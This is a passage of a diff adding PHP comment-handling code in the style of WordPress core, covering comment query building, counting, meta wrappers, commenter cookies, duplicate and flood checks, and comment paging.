+				preg_split( '/[,\s]/', $this->query_vars['orderby'] );
+
+			$allowed_keys = array(
+				'comment_agent',
+				'comment_approved',
+				'comment_author',
+				'comment_author_email',
+				'comment_author_IP',
+				'comment_author_url',
+				'comment_content',
+				'comment_date',
+				'comment_date_gmt',
+				'comment_ID',
+				'comment_karma',
+				'comment_parent',
+				'comment_post_ID',
+				'comment_type',
+				'user_id',
+			);
+			if ( ! empty( $this->query_vars['meta_key'] ) ) {
+				$allowed_keys[] = $this->query_vars['meta_key'];
+				$allowed_keys[] = 'meta_value';
+				$allowed_keys[] = 'meta_value_num';
+			}
+			$ordersby = array_intersect( $ordersby, $allowed_keys );
+			foreach ( $ordersby as $key => $value ) {
+				if ( $value == $this->query_vars['meta_key'] || $value == 'meta_value' ) {
+					$ordersby[ $key ] = "$wpdb->commentmeta.meta_value";
+				} elseif ( $value == 'meta_value_num' ) {
+					$ordersby[ $key ] = "$wpdb->commentmeta.meta_value+0";
+				}
+			}
+			$orderby = empty( $ordersby ) ? 'comment_date_gmt' : implode(', ', $ordersby);
+		} else {
+			$orderby = 'comment_date_gmt';
+		}
+
+		$number = absint( $this->query_vars['number'] );
+		$offset = absint( $this->query_vars['offset'] );
+
+		if ( ! empty( $number ) ) {
+			if ( $offset ) {
+				$limits = 'LIMIT ' . $offset . ',' . $number;
+			} else {
+				$limits = 'LIMIT ' . $number;
+			}
+		} else {
+			$limits = '';
+		}
+
+		if ( $this->query_vars['count'] ) {
+			$fields = 'COUNT(*)';
+		} else {
+			switch ( strtolower( $this->query_vars['fields'] ) ) {
+				case 'ids':
+					$fields = "$wpdb->comments.comment_ID";
+					break;
+				default:
+					$fields = "*";
+					break;
+			}
+		}
+
+		$join = '';
+
+		$post_id = absint( $this->query_vars['post_id'] );
+		if ( ! empty( $post_id ) ) {
+			$where[] = $wpdb->prepare( 'comment_post_ID = %d', $post_id );
+		}
+
+		// Parse comment IDs for an IN clause.
+		if ( ! empty( $this->query_vars['comment__in'] ) ) {
+			$where[] = 'comment_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )';
+		}
+
+		// Parse comment IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['comment__not_in'] ) ) {
+			$where[] = 'comment_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )';
+		}
+
+		// Parse comment post IDs for an IN clause.
+		if ( ! empty( $this->query_vars['post__in'] ) ) {
+			$where[] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )';
+		}
+
+		// Parse comment post IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['post__not_in'] ) ) {
+			$where[] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )';
+		}
+
+		if ( '' !== $this->query_vars['author_email'] ) {
+			$where[] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] );
+		}
+
+		if ( '' !== $this->query_vars['karma'] ) {
+			$where[] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] );
+		}
+
+		// Filtering by comment_type: 'type', 'type__in', 'type__not_in'.
+		$raw_types = array(
+			'IN' => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ),
+			'NOT IN' => (array) $this->query_vars['type__not_in'],
+		);
+
+		$comment_types = array();
+		foreach ( $raw_types as $operator => $_raw_types ) {
+			$_raw_types = array_unique( $_raw_types );
+
+			foreach ( $_raw_types as $type ) {
+				switch ( $type ) {
+					// An empty translates to 'all', for backward compatibility
+					case '':
+					case 'all' :
+						break;
+
+					case 'comment':
+					case 'comments':
+						$comment_types[ $operator ][] = "''";
+						break;
+
+					case 'pings':
+						$comment_types[ $operator ][] = "'pingback'";
+						$comment_types[ $operator ][] = "'trackback'";
+						break;
+
+					default:
+						$comment_types[ $operator ][] = $wpdb->prepare( '%s', $type );
+						break;
+				}
+			}
+
+			if ( ! empty( $comment_types[ $operator ] ) ) {
+				$types_sql = implode( ', ', $comment_types[ $operator ] );
+				$where[] = "comment_type $operator ($types_sql)";
+			}
+		}
+
+		if ( '' !== $this->query_vars['parent'] ) {
+			$where[] = $wpdb->prepare( 'comment_parent = %d', $this->query_vars['parent'] );
+		}
+
+		if ( is_array( $this->query_vars['user_id'] ) ) {
+			$where[] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')';
+		} elseif ( '' !== $this->query_vars['user_id'] ) {
+			$where[] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] );
+		}
+
+		if ( '' !== $this->query_vars['search'] ) {
+			$search_sql = $this->get_search_sql(
+				$this->query_vars['search'],
+				array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' )
+			);
+
+			// Strip leading 'AND'.
+			$where[] = preg_replace( '/^\s*AND\s*/', '', $search_sql );
+		}
+
+		// If any post-related query vars are passed, join the posts table.
+		$join_posts_table = false;
+		$plucked = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent', 'post_status', 'post_type' ) );
+		$post_fields = array_filter( $plucked );
+
+		if ( ! empty( $post_fields ) ) {
+			$join_posts_table = true;
+			foreach ( $post_fields as $field_name => $field_value ) {
+				$where[] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} = %s", $field_value );
+			}
+		}
+
+		// Comment author IDs for an IN clause.
+		if ( ! empty( $this->query_vars['author__in'] ) ) {
+			$where[] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )';
+		}
+
+		// Comment author IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['author__not_in'] ) ) {
+			$where[] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )';
+		}
+
+		// Post author IDs for an IN clause.
+		if ( ! empty( $this->query_vars['post_author__in'] ) ) {
+			$join_posts_table = true;
+			$where[] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )';
+		}
+
+		// Post author IDs for a NOT IN clause.
+		if ( ! empty( $this->query_vars['post_author__not_in'] ) ) {
+			$join_posts_table = true;
+			$where[] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )';
+		}
+
+		if ( $join_posts_table ) {
+			$join = "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID";
+		}
+
+		if ( ! empty( $this->meta_query->queries ) ) {
+			$clauses = $this->meta_query->get_sql( 'comment', $wpdb->comments, 'comment_ID', $this );
+			$join .= $clauses['join'];
+
+			// Strip leading 'AND'.
+			$where[] = preg_replace( '/^\s*AND\s*/', '', $clauses['where'] );
+
+			if ( ! $this->query_vars['count'] ) {
+				$groupby = "{$wpdb->comments}.comment_ID";
+			}
+		}
+
+		$date_query = $this->query_vars['date_query'];
+		if ( ! empty( $date_query ) && is_array( $date_query ) ) {
+			$date_query_object = new WP_Date_Query( $date_query, 'comment_date' );
+			$where[] = preg_replace( '/^\s*AND\s*/', '', $date_query_object->get_sql() );
+		}
+
+		$where = implode( ' AND ', $where );
+
+		$pieces = array( 'fields', 'join', 'where', 'orderby', 'order', 'limits', 'groupby' );
+		/**
+		 * Filter the comment query clauses.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array            $pieces A compacted array of comment query clauses.
+		 * @param WP_Comment_Query &$this  Current instance of WP_Comment_Query, passed by reference.
+		 */
+		$clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) );
+
+		$fields = isset( $clauses[ 'fields' ] ) ? $clauses[ 'fields' ] : '';
+		$join = isset( $clauses[ 'join' ] ) ? $clauses[ 'join' ] : '';
+		$where = isset( $clauses[ 'where' ] ) ? $clauses[ 'where' ] : '';
+		$orderby = isset( $clauses[ 'orderby' ] ) ? $clauses[ 'orderby' ] : '';
+		$order = isset( $clauses[ 'order' ] ) ? $clauses[ 'order' ] : '';
+		$limits = isset( $clauses[ 'limits' ] ) ? $clauses[ 'limits' ] : '';
+		$groupby = isset( $clauses[ 'groupby' ] ) ? $clauses[ 'groupby' ] : '';
+
+		if ( $where ) {
+			$where = 'WHERE ' . $where;
+		}
+
+		if ( $groupby ) {
+			$groupby = 'GROUP BY ' . $groupby;
+		}
+
+		if ( $orderby ) {
+			$orderby = "ORDER BY $orderby $order";
+		}
+
+		$this->request = "SELECT $fields FROM $wpdb->comments $join $where $groupby $orderby $limits";
+
+		if ( $this->query_vars['count'] ) {
+			return $wpdb->get_var( $this->request );
+		}
+
+		if ( 'ids' == $this->query_vars['fields'] ) {
+			$this->comments = $wpdb->get_col( $this->request );
+			return array_map( 'intval', $this->comments );
+		}
+
+		$results = $wpdb->get_results( $this->request );
+		/**
+		 * Filter the comment query results.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array            $results  An array of comments.
+		 * @param WP_Comment_Query &$this    Current instance of WP_Comment_Query, passed by reference.
+		 */
+		$comments = apply_filters_ref_array( 'the_comments', array( $results, &$this ) );
+
+		wp_cache_add( $cache_key, $comments, 'comment' );
+
+		return $comments;
+	}
+
+	/**
+	 * Used internally to generate an SQL string for searching across multiple columns
+	 *
+	 * @access protected
+	 * @since 3.1.0
+	 *
+	 * @param string $string
+	 * @param array $cols
+	 * @return string
+	 */
+	protected function get_search_sql( $string, $cols ) {
+		global $wpdb;
+
+		$like = '%' . $wpdb->esc_like( $string ) . '%';
+
+		$searches = array();
+		foreach ( $cols as $col ) {
+			$searches[] = $wpdb->prepare( "$col LIKE %s", $like );
+		}
+
+		return ' AND (' . implode(' OR ', $searches) . ')';
+	}
+}
+
+/**
+ * Retrieve all of the WordPress supported comment statuses.
+ *
+ * Comments have a limited set of valid status values, this provides the comment
+ * status values and descriptions.
+ *
+ * @since 2.7.0
+ *
+ * @return array List of comment statuses.
+ */
+function get_comment_statuses() {
+	$status = array(
+		'hold'		=> __('Unapproved'),
+		/* translators: comment status  */
+		'approve'	=> _x('Approved', 'adjective'),
+		/* translators: comment status */
+		'spam'		=> _x('Spam', 'adjective'),
+	);
+
+	return $status;
+}
+
+/**
+ * The date the last comment was modified.
+ *
+ * @since 1.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $timezone Which timezone to use in reference to 'gmt', 'blog',
+ *		or 'server' locations.
+ * @return string Last comment modified date.
+ */
+function get_lastcommentmodified($timezone = 'server') {
+	global $wpdb;
+	static $cache_lastcommentmodified = array();
+
+	if ( isset($cache_lastcommentmodified[$timezone]) )
+		return $cache_lastcommentmodified[$timezone];
+
+	$add_seconds_server = date('Z');
+
+	switch ( strtolower($timezone)) {
+		case 'gmt':
+			$lastcommentmodified = $wpdb->get_var("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1");
+			break;
+		case 'blog':
+			$lastcommentmodified = $wpdb->get_var("SELECT comment_date FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1");
+			break;
+		case 'server':
+			$lastcommentmodified = $wpdb->get_var($wpdb->prepare("SELECT DATE_ADD(comment_date_gmt, INTERVAL %s SECOND) FROM $wpdb->comments WHERE comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 1", $add_seconds_server));
+			break;
+	}
+
+	$cache_lastcommentmodified[$timezone] = $lastcommentmodified;
+
+	return $lastcommentmodified;
+}
+
+/**
+ * The amount of comments in a post or total comments.
+ *
+ * A lot like {@link wp_count_comments()}, in that they both return comment
+ * stats (albeit with different types). The {@link wp_count_comments()} actual
+ * caches, but this function does not.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $post_id Optional. Comment amount in post if > 0, else total comments blog wide.
+ * @return array The amount of spam, approved, awaiting moderation, and total comments.
+ */
+function get_comment_count( $post_id = 0 ) {
+	global $wpdb;
+
+	$post_id = (int) $post_id;
+
+	$where = '';
+	if ( $post_id > 0 ) {
+		$where = $wpdb->prepare("WHERE comment_post_ID = %d", $post_id);
+	}
+
+	$totals = (array) $wpdb->get_results("
+		SELECT comment_approved, COUNT( * ) AS total
+		FROM {$wpdb->comments}
+		{$where}
+		GROUP BY comment_approved
+	", ARRAY_A);
+
+	$comment_count = array(
+		"approved"              => 0,
+		"awaiting_moderation"   => 0,
+		"spam"                  => 0,
+		"total_comments"        => 0
+	);
+
+	foreach ( $totals as $row ) {
+		switch ( $row['comment_approved'] ) {
+			case 'spam':
+				$comment_count['spam'] = $row['total'];
+				$comment_count["total_comments"] += $row['total'];
+				break;
+			case 1:
+				$comment_count['approved'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				break;
+			case 0:
+				$comment_count['awaiting_moderation'] = $row['total'];
+				$comment_count['total_comments'] += $row['total'];
+				break;
+			default:
+				break;
+		}
+	}
+
+	return $comment_count;
+}
+
+//
+// Comment meta functions
+//
+
+/**
+ * Add meta data field to a comment.
+ *
+ * @since 2.9.0
+ * @link http://codex.wordpress.org/Function_Reference/add_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Metadata value.
+ * @param bool $unique Optional, default is false. Whether the same key should not be added.
+ * @return int|bool Meta ID on success, false on failure.
+ */
+function add_comment_meta($comment_id, $meta_key, $meta_value, $unique = false) {
+	return add_metadata('comment', $comment_id, $meta_key, $meta_value, $unique);
+}
+
+/**
+ * Remove metadata matching criteria from a comment.
+ *
+ * You can match based on the key, or key and value. Removing based on key and
+ * value, will keep from removing duplicate metadata with the same key. It also
+ * allows removing all metadata matching key, if needed.
+ *
+ * @since 2.9.0
+ * @link http://codex.wordpress.org/Function_Reference/delete_comment_meta
+ *
+ * @param int $comment_id comment ID
+ * @param string $meta_key Metadata name.
+ * @param mixed $meta_value Optional. Metadata value.
+ * @return bool True on success, false on failure.
+ */
+function delete_comment_meta($comment_id, $meta_key, $meta_value = '') {
+	return delete_metadata('comment', $comment_id, $meta_key, $meta_value);
+}
+
+/**
+ * Retrieve comment meta field for a comment.
+ *
+ * @since 2.9.0
+ * @link http://codex.wordpress.org/Function_Reference/get_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $key Optional. The meta key to retrieve. By default, returns data for all keys.
+ * @param bool $single Whether to return a single value.
+ * @return mixed Will be an array if $single is false. Will be value of meta data field if $single
+ *  is true.
+ */
+function get_comment_meta($comment_id, $key = '', $single = false) {
+	return get_metadata('comment', $comment_id, $key, $single);
+}
+
+/**
+ * Update comment meta field based on comment ID.
+ *
+ * Use the $prev_value parameter to differentiate between meta fields with the
+ * same key and comment ID.
+ *
+ * If the meta field for the comment does not exist, it will be added.
+ *
+ * @since 2.9.0
+ * @link http://codex.wordpress.org/Function_Reference/update_comment_meta
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @param mixed $prev_value Optional. Previous value to check before removing.
+ * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure.
+ */
+function update_comment_meta($comment_id, $meta_key, $meta_value, $prev_value = '') {
+	return update_metadata('comment', $comment_id, $meta_key, $meta_value, $prev_value);
+}
+
+/**
+ * Sets the cookies used to store an unauthenticated commentator's identity. Typically used
+ * to recall previous comments by this commentator that are still held in moderation.
+ *
+ * @param object $comment Comment object.
+ * @param object $user Comment author's object.
+ *
+ * @since 3.4.0
+ */
+function wp_set_comment_cookies($comment, $user) {
+	if ( $user->exists() )
+		return;
+
+	/**
+	 * Filter the lifetime of the comment cookie in seconds.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $seconds Comment cookie lifetime. Default 30000000.
+	 */
+	$comment_cookie_lifetime = apply_filters( 'comment_cookie_lifetime', 30000000 );
+	$secure = ( 'https' === parse_url( home_url(), PHP_URL_SCHEME ) );
+	setcookie( 'comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+	setcookie( 'comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+	setcookie( 'comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN, $secure );
+}
+
+/**
+ * Sanitizes the cookies sent to the user already.
+ *
+ * Will only do anything if the cookies have already been created for the user.
+ * Mostly used after cookies had been sent to use elsewhere.
+ *
+ * @since 2.0.4
+ */
+function sanitize_comment_cookies() {
+	if ( isset( $_COOKIE['comment_author_' . COOKIEHASH] ) ) {
+		/**
+		 * Filter the comment author's name cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's name string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_cookie The comment author name cookie.
+		 */
+		$comment_author = apply_filters( 'pre_comment_author_name', $_COOKIE['comment_author_' . COOKIEHASH] );
+		$comment_author = wp_unslash($comment_author);
+		$comment_author = esc_attr($comment_author);
+		$_COOKIE['comment_author_' . COOKIEHASH] = $comment_author;
+	}
+
+	if ( isset( $_COOKIE['comment_author_email_' . COOKIEHASH] ) ) {
+		/**
+		 * Filter the comment author's email cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's email string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_email_cookie The comment author email cookie.
+		 */
+		$comment_author_email = apply_filters( 'pre_comment_author_email', $_COOKIE['comment_author_email_' . COOKIEHASH] );
+		$comment_author_email = wp_unslash($comment_author_email);
+		$comment_author_email = esc_attr($comment_author_email);
+		$_COOKIE['comment_author_email_'.COOKIEHASH] = $comment_author_email;
+	}
+
+	if ( isset( $_COOKIE['comment_author_url_' . COOKIEHASH] ) ) {
+		/**
+		 * Filter the comment author's URL cookie before it is set.
+		 *
+		 * When this filter hook is evaluated in wp_filter_comment(),
+		 * the comment author's URL string is passed.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $author_url_cookie The comment author URL cookie.
+		 */
+		$comment_author_url = apply_filters( 'pre_comment_author_url', $_COOKIE['comment_author_url_' . COOKIEHASH] );
+		$comment_author_url = wp_unslash($comment_author_url);
+		$_COOKIE['comment_author_url_'.COOKIEHASH] = $comment_author_url;
+	}
+}
+
+/**
+ * Validates whether this comment is allowed to be made.
+ *
+ * @since 2.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param array $commentdata Contains information on the comment
+ * @return mixed Signifies the approval status (0|1|'spam')
+ */
+function wp_allow_comment( $commentdata ) {
+	global $wpdb;
+
+	// Simple duplicate check
+	// expected_slashed ($comment_post_ID, $comment_author, $comment_author_email, $comment_content)
+	$dupe = $wpdb->prepare(
+		"SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = %s AND comment_approved != 'trash' AND ( comment_author = %s ",
+		wp_unslash( $commentdata['comment_post_ID'] ),
+		wp_unslash( $commentdata['comment_parent'] ),
+		wp_unslash( $commentdata['comment_author'] )
+	);
+	if ( $commentdata['comment_author_email'] ) {
+		$dupe .= $wpdb->prepare(
+			"OR comment_author_email = %s ",
+			wp_unslash( $commentdata['comment_author_email'] )
+		);
+	}
+	$dupe .= $wpdb->prepare(
+		") AND comment_content = %s LIMIT 1",
+		wp_unslash( $commentdata['comment_content'] )
+	);
+	if ( $wpdb->get_var( $dupe ) ) {
+		/**
+		 * Fires immediately after a duplicate comment is detected.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $commentdata Comment data.
+		 */
+		do_action( 'comment_duplicate_trigger', $commentdata );
+		if ( defined( 'DOING_AJAX' ) ) {
+			die( __('Duplicate comment detected; it looks as though you&#8217;ve already said that!') );
+		}
+		wp_die( __( 'Duplicate comment detected; it looks as though you&#8217;ve already said that!' ), 409 );
+	}
+
+	/**
+	 * Fires immediately before a comment is marked approved.
+	 *
+	 * Allows checking for comment flooding.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $comment_author_IP    Comment author's IP address.
+	 * @param string $comment_author_email Comment author's email.
+	 * @param string $comment_date_gmt     GMT date the comment was posted.
+	 */
+	do_action(
+		'check_comment_flood',
+		$commentdata['comment_author_IP'],
+		$commentdata['comment_author_email'],
+		$commentdata['comment_date_gmt']
+	);
+
+	if ( ! empty( $commentdata['user_id'] ) ) {
+		$user = get_userdata( $commentdata['user_id'] );
+		$post_author = $wpdb->get_var( $wpdb->prepare(
+			"SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1",
+			$commentdata['comment_post_ID']
+		) );
+	}
+
+	if ( isset( $user ) && ( $commentdata['user_id'] == $post_author || $user->has_cap( 'moderate_comments' ) ) ) {
+		// The author and the admins get respect.
+		$approved = 1;
+	} else {
+		// Everyone else's comments will be checked.
+		if ( check_comment(
+			$commentdata['comment_author'],
+			$commentdata['comment_author_email'],
+			$commentdata['comment_author_url'],
+			$commentdata['comment_content'],
+			$commentdata['comment_author_IP'],
+			$commentdata['comment_agent'],
+			$commentdata['comment_type']
+		) ) {
+			$approved = 1;
+		} else {
+			$approved = 0;
+		}
+
+		if ( wp_blacklist_check(
+			$commentdata['comment_author'],
+			$commentdata['comment_author_email'],
+			$commentdata['comment_author_url'],
+			$commentdata['comment_content'],
+			$commentdata['comment_author_IP'],
+			$commentdata['comment_agent']
+		) ) {
+			$approved = 'spam';
+		}
+	}
+
+	/**
+	 * Filter a comment's approval status before it is set.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param bool|string $approved    The approval status. Accepts 1, 0, or 'spam'.
+	 * @param array       $commentdata Comment data.
+	 */
+	$approved = apply_filters( 'pre_comment_approved', $approved, $commentdata );
+	return $approved;
+}
+
+/**
+ * Check whether comment flooding is occurring.
+ *
+ * Won't run, if current user can manage options, so to not block
+ * administrators.
+ *
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $ip Comment IP.
+ * @param string $email Comment author email address.
+ * @param string $date MySQL time string.
+ */
+function check_comment_flood_db( $ip, $email, $date ) {
+	global $wpdb;
+	if ( current_user_can( 'manage_options' ) )
+		return; // don't throttle admins
+	$hour_ago = gmdate( 'Y-m-d H:i:s', time() - HOUR_IN_SECONDS );
+	if ( $lasttime = $wpdb->get_var( $wpdb->prepare( "SELECT `comment_date_gmt` FROM `$wpdb->comments` WHERE `comment_date_gmt` >= %s AND ( `comment_author_IP` = %s OR `comment_author_email` = %s ) ORDER BY `comment_date_gmt` DESC LIMIT 1", $hour_ago, $ip, $email ) ) ) {
+		$time_lastcomment = mysql2date('U', $lasttime, false);
+		$time_newcomment  = mysql2date('U', $date, false);
+		/**
+		 * Filter the comment flood status.
+		 *
+		 * @since 2.1.0
+		 *
+		 * @param bool $bool             Whether a comment flood is occurring. Default false.
+		 * @param int  $time_lastcomment Timestamp of when the last comment was posted.
+		 * @param int  $time_newcomment  Timestamp of when the new comment was posted.
+		 */
+		$flood_die = apply_filters( 'comment_flood_filter', false, $time_lastcomment, $time_newcomment );
+		if ( $flood_die ) {
+			/**
+			 * Fires before the comment flood message is triggered.
+			 *
+			 * @since 1.5.0
+			 *
+			 * @param int $time_lastcomment Timestamp of when the last comment was posted.
+			 * @param int $time_newcomment  Timestamp of when the new comment was posted.
+			 */
+			do_action( 'comment_flood_trigger', $time_lastcomment, $time_newcomment );
+
+			if ( defined('DOING_AJAX') )
+				die( __('You are posting comments too quickly. Slow down.') );
+
+			wp_die( __( 'You are posting comments too quickly. Slow down.' ), 429 );
+		}
+	}
+}
+
+/**
+ * Separates an array of comments into an array keyed by comment_type.
+ *
+ * @since 2.7.0
+ *
+ * @param array $comments Array of comments
+ * @return array Array of comments keyed by comment_type.
+ */
+function separate_comments(&$comments) {
+	$comments_by_type = array('comment' => array(), 'trackback' => array(), 'pingback' => array(), 'pings' => array());
+	$count = count($comments);
+	for ( $i = 0; $i < $count; $i++ ) {
+		$type = $comments[$i]->comment_type;
+		if ( empty($type) )
+			$type = 'comment';
+		$comments_by_type[$type][] = &$comments[$i];
+		if ( 'trackback' == $type || 'pingback' == $type )
+			$comments_by_type['pings'][] = &$comments[$i];
+	}
+
+	return $comments_by_type;
+}
+
+/**
+ * Calculate the total number of comment pages.
+ *
+ * @since 2.7.0
+ *
+ * @uses Walker_Comment
+ *
+ * @param array $comments Optional array of comment objects. Defaults to $wp_query->comments
+ * @param int $per_page Optional comments per page.
+ * @param boolean $threaded Optional control over flat or threaded comments.
+ * @return int Number of comment pages.
+ */
+function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) {
+	global $wp_query;
+
+	if ( null === $comments && null === $per_page && null === $threaded && !empty($wp_query->max_num_comment_pages) )
+		return $wp_query->max_num_comment_pages;
+
+	if ( ( ! $comments || ! is_array( $comments ) ) && ! empty( $wp_query->comments )  )
+		$comments = $wp_query->comments;
+
+	if ( empty($comments) )
+		return 0;
+
+	if ( ! get_option( 'page_comments' ) )
+		return 1;
+
+	if ( !isset($per_page) )
+		$per_page = (int) get_query_var('comments_per_page');
+	if ( 0 === $per_page )
+		$per_page = (int) get_option('comments_per_page');
+	if ( 0 === $per_page )
+		return 1;
+
+	if ( !isset($threaded) )
+		$threaded = get_option('thread_comments');
+
+	if ( $threaded ) {
+		$walker = new Walker_Comment;
+		$count = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page );
+	} else {
+		$count = ceil( count( $comments ) / $per_page );
+	}
+
+	return $count;
+}
+
+/**
+ * Calculate what page number a comment will appear on for comment paging.
+ *
+ * @since 2.7.0
+ *
+ * @param int $comment_ID Comment ID.
+ * @param array $args Optional args.
+ * @return int|null Comment page number or null on error.
+ */
+function get_page_of_comment( $comment_ID, $args = array() ) {
+	global $wpdb;
+
+	if ( !$comment = get_comment( $comment_ID ) )
+		return;
+
+	$defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( '' === $args['per_page'] && get_option('page_comments') )
+		$args['per_page'] = get_query_var('comments_per_page');
+	if ( empty($args['per_page']) ) {
+		$args['per_page'] = 0;
+		$args['page'] = 0;
+	}
+	if ( $args['per_page'] < 1 )
+		return 1;
+
+	if ( '' === $args['max_depth'] ) {
+		if ( get_option('thread_comments') )
+			$args['max_depth'] = get_option('thread_comments_depth');
+		else
+			$args['max_depth'] = -1;
+	}
+
+	// Find this comment's top level parent if threading is enabled
+	if ( $args['max_depth'] > 1 && 0 != $comment->comment_parent )
+		return get_page_of_comment( $comment->comment_parent, $args );
+
+	$allowedtypes = array(
+		'comment' => '',
+		'pingback' => 'pingback',
+		'trackback' => 'trackback',
+	);
+
+	$comtypewhere = ( 'all' != $args['type'] && isset($allowedtypes[$args['type']]) ) ? " AND comment_type = '" . $allowedtypes[$args['type']] . "'" : '';
+
+	// Count comments older than this one
+	$oldercoms = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_parent = 0 AND comment_approved = '1' AND comment_date_gmt < '%s'" . $comtypewhere, $comment->comment_post_ID, $comment->comment_date_gmt ) );
+
+	// No older comments? Then it's page #1.
+	if ( 0 == $oldercoms )
+		return 1;
+
+	// Divide comments older than this one by comments per page to get this comment's page number
+	return ceil( ( $oldercoms + 1 ) / $args['per_page'] );
+}
+
+/**
+ * Does comment contain blacklisted characters or words.
+ *
+ * @since 1.5.0
+ *
+ * @param string $author The author of the comment
+ * @param string $email The email of the comment
+ * @param string $url The url used in the comment
+ * @param string $comment The comment content
+ * @param string $user_ip The comment author IP address
+ * @param string $user_agent The author's browser user agent
+ * @return bool True if comment contains blacklisted content, false if comment does not
+ */
+function wp_blacklist_check($author, $email, $url, $comment, $user_ip, $user_agent) {
+	/**
+	 * Fires before the comment is tested for blacklisted characters or words.
+	 *
+	 * @since 1.5.0
+	 *
+	 * @param string $author     Comment author.
+	 * @param string $email      Comment author's email.
+	 * @param string $url        Comment author's URL.
+	 * @param string $comment    Comment content.
+	 * @param string $user_ip    Comment author's IP address.
+	 * @param string $user_agent Comment author's browser user agent.
+	 */
+	do_action( 'wp_blacklist_check', $author, $email, $url, $comment, $user_ip, $user_agent );
+
+	$mod_keys = trim( get_option('blacklist_keys') );
+	if ( '' == $mod_keys )
+		return false; // If moderation keys are empty
+	$words = explode("\n", $mod_keys );
+
+	foreach ( (array) $words as $word ) {
+		$word = trim($word);
+
+		// Skip empty lines
+		if ( empty($word) ) { continue; }
+
+		// Do some escaping magic so that '#' chars in the
+		// spam words don't break things:
+		$word = preg_quote($word, '#');
+
+		$pattern = "#$word#i";
+		if (
+			   preg_match($pattern, $author)
+			|| preg_match($pattern, $email)
+			|| preg_match($pattern, $url)
+			|| preg_match($pattern, $comment)
+			|| preg_match($pattern, $user_ip)
+			|| preg_match($pattern, $user_agent)
+		 )
+			return true;
+	}
+	return false;
+}
+
+/**
+ * Retrieve total comments for blog or single post.
+ *
+ * The properties of the returned object contain the 'moderated', 'approved',
+ * and spam comments for either the entire blog or single post. Those properties
+ * contain the amount of comments that match the status. The 'total_comments'
+ * property contains the integer of total comments.
+ *
+ * The comment stats are cached and then retrieved, if they already exist in the
+ * cache.
+ *
+ * @since 2.5.0
+ *
+ * @param int $post_id Optional. Post ID.
+ * @return object Comment stats.
+ */
+function wp_count_comments( $post_id = 0 ) {
+	global $wpdb;
+
+	$post_id = (int) $post_id;
+
+	/**
+	 * Filter the comments count for a given post.
+	 *
+	 * @since 2.7.0
